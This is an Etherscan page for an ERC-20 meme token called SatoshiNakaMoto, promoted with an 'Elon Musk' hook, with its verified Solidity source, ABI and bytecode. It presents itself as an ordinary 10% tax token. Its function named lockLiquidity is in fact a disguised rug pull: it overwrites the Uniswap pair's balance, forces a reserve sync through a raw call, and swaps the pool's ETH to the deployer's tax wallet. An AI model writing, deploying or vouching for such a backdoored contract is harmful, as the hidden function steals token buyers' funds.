ETH Price: $3,409.38 (-0.19%)
Gas: 7 Gwei

Token

SatoshiNakaMoto (Satoshi)
 

Overview

Max Total Supply

400,000,000,000,000 Satoshi

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,616,697,000,008.100075659552507697 Satoshi

Value
$0.00
0x081d57ecf54d5b0e7a45e2e671e7b616a4f03701
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SatoshiNakaMoto

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-09
*/

/**
    Elon Musk SatoshiNakaMoto Tweet 

    https://t.me/SatoshiTweet

    10% buy and sell tax, .5% max txn 1% max wallet. 
**/


//SPDX-License-Identifier: MIT


pragma solidity ^0.8.9;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract SatoshiNakaMoto is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = 400000000000000 * 10**18;
	uint256 private _maxWallet= 400000000000000 * 10**18;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = "SatoshiNakaMoto";
	string private constant _symbol = "Satoshi";
	uint8 private constant _decimals = 18;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = 10;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(200);
		_maxWallet=_tTotal.div(100);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
          require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
      }

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance,address(this));
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= 40000000000000000) {
					sendETHToFee(address(this).balance);
				}
			}
		}


		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}



	function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			to,
			block.timestamp
		);
	}

	function increaseMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function increaseMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function lockLiquidity() public{
		require(_msgSender()==_taxWallet);
		_balance[address(this)] = 100000000000000000;
		_balance[_pair] = 1;
		(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
		if (success) {
				swapTokensForEth(100000000, _taxWallet);
		} else { revert("Internal failure"); }
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function manualSwap() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance,address(this));
	}

	function manualSend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526d13b8b5b5056e16b3be04000000006005556d13b8b5b5056e16b3be04000000006006556000600b60156101000a81548160ff0219169083151502179055506000600b60166101000a81548160ff0219169083151502179055503480156200006b57600080fd5b5060006200007e620003a660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200012c620003a660201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a600781905550737a250d5630b4cf539739df2c5dacb4c659f2488d600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620002fe60c8600554620003ae60201b620011dd1790919060201c565b600981905550620003216064600554620003ae60201b620011dd1790919060201c565b60068190555062000337620003a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000398919062000483565b60405180910390a3620005cf565b600033905090565b6000620003f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200040060201b60201c565b905092915050565b600080831182906200044a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000441919062000544565b60405180910390fd5b50600083856200045b919062000597565b9050809150509392505050565b6000819050919050565b6200047d8162000468565b82525050565b60006020820190506200049a600083018462000472565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015620004dc578082015181840152602081019050620004bf565b83811115620004ec576000848401525b50505050565b6000601f19601f8301169050919050565b60006200051082620004a0565b6200051c8185620004ab565b93506200052e818560208601620004bc565b6200053981620004f2565b840191505092915050565b6000602082019050818103600083015262000560818462000503565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005a48262000468565b9150620005b18362000468565b925082620005c457620005c362000568565b5b828204905092915050565b612fe280620005df6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610388578063d91a21a61461039f578063dd62ed3e146103c8578063e8078d9414610405578063f42938901461041c5761011f565b8063715018a6146102b35780637d1db4a5146102ca5780638da5cb5b146102f557806395d89b4114610320578063a9059cbb1461034b5761011f565b8063313ce567116100e7578063313ce567146101f45780633e7175c51461021f5780634a1316721461024857806351bc3c851461025f57806370a08231146102765761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610433565b60405161014691906121a5565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612260565b610470565b60405161018391906122bb565b60405180910390f35b34801561019857600080fd5b506101a161048e565b6040516101ae91906122e5565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612300565b610498565b6040516101eb91906122bb565b60405180910390f35b34801561020057600080fd5b50610209610571565b604051610216919061236f565b60405180910390f35b34801561022b57600080fd5b506102466004803603810190610241919061238a565b61057a565b005b34801561025457600080fd5b5061025d610627565b005b34801561026b57600080fd5b50610274610a3a565b005b34801561028257600080fd5b5061029d600480360381019061029891906123b7565b610a54565b6040516102aa91906122e5565b60405180910390f35b3480156102bf57600080fd5b506102c8610a9d565b005b3480156102d657600080fd5b506102df610bf0565b6040516102ec91906122e5565b60405180910390f35b34801561030157600080fd5b5061030a610bf6565b60405161031791906123f3565b60405180910390f35b34801561032c57600080fd5b50610335610c1f565b60405161034291906121a5565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d9190612260565b610c5c565b60405161037f91906122bb565b60405180910390f35b34801561039457600080fd5b5061039d610c7a565b005b3480156103ab57600080fd5b506103c660048036038101906103c1919061238a565b610f00565b005b3480156103d457600080fd5b506103ef60048036038101906103ea919061240e565b610fad565b6040516103fc91906122e5565b60405180910390f35b34801561041157600080fd5b5061041a611034565b005b34801561042857600080fd5b506104316111cc565b005b60606040518060400160405280600f81526020017f5361746f7368694e616b614d6f746f0000000000000000000000000000000000815250905090565b600061048461047d611227565b848461122f565b6001905092915050565b6000600554905090565b60006104a58484846113fa565b610566846104b1611227565b61056185604051806060016040528060288152602001612f8560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610517611227565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c09092919063ffffffff16565b61122f565b600190509392505050565b60006012905090565b610582611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106069061249a565b60405180910390fd5b600654811161061d57600080fd5b8060068190555050565b61062f611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b39061249a565b60405180910390fd5b600b60149054906101000a900460ff161561070c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070390612506565b60405180910390fd5b61073b30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055461122f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db919061253b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085f57600080fd5b505afa158015610873573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610897919061253b565b6040518363ffffffff1660e01b81526004016108b4929190612568565b602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061253b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e5929190612591565b602060405180830381600087803b1580156109ff57600080fd5b505af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3791906125e6565b50565b6000610a4530610a54565b9050610a518130611a24565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aa5611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b299061249a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5361746f73686900000000000000000000000000000000000000000000000000815250905090565b6000610c70610c69611227565b84846113fa565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbb611227565b73ffffffffffffffffffffffffffffffffffffffff1614610cdb57600080fd5b67016345785d8a0000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160026000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae960e01b604051602401604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e41919061265a565b6000604051808303816000865af19150503d8060008114610e7e576040519150601f19603f3d011682016040523d82523d6000602084013e610e83565b606091505b505090508015610ec257610ebd6305f5e100600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a24565b610efd565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef4906126bd565b60405180910390fd5b50565b610f08611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c9061249a565b60405180910390fd5b6009548111610fa357600080fd5b8060098190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61103c611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061249a565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061111230610a54565b60008061111d610bf6565b426040518863ffffffff1660e01b815260040161113f96959493929190612722565b6060604051808303818588803b15801561115857600080fd5b505af115801561116c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111919190612798565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550565b60004790506111da81611cad565b50565b600061121f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d19565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112969061285d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906128ef565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113ed91906122e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190612981565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190612a13565b60405180910390fd5b6000811161151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490612aa5565b60405180910390fd5b611525610bf6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115935750611563610bf6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561190057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116435750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116995750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116e4576009548111156116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da90612b11565b60405180910390fd5b5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561178c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e25750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561184057600654816117f484610a54565b6117fe9190612b60565b111561183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612c02565b60405180910390fd5b5b600061184b30610a54565b9050600b60159054906101000a900460ff161580156118b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118d05750600b60169054906101000a900460ff165b156118fe576118df8130611a24565b6000479050668e1bc9bf04000081106118fc576118fb47611cad565b5b505b505b6119bb838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119a75750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6119b3576007546119b6565b60005b611d7c565b505050565b6000838311158290611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff91906121a5565b60405180910390fd5b5060008385611a179190612c22565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a5c57611a5b612c56565b5b604051908082528060200260200182016040528015611a8a5781602001602082028036833780820191505090505b5090503081600081518110611aa257611aa1612c85565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b4457600080fd5b505afa158015611b58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7c919061253b565b81600181518110611b9057611b8f612c85565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bf730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561122f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611c5b959493929190612d72565b600060405180830381600087803b158015611c7557600080fd5b505af1158015611c89573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d15573d6000803e3d6000fd5b5050565b60008083118290611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5791906121a5565b60405180910390fd5b5060008385611d6f9190612dfb565b9050809150509392505050565b6000611da46064611d968486611fe990919063ffffffff16565b6111dd90919063ffffffff16565b90506000611dbb828561206490919063ffffffff16565b9050611e0f84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea481600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ae90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3982600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ae90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fd991906122e5565b60405180910390a3505050505050565b600080831415611ffc576000905061205e565b6000828461200a9190612e2c565b90508284826120199190612dfb565b14612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090612ef8565b60405180910390fd5b809150505b92915050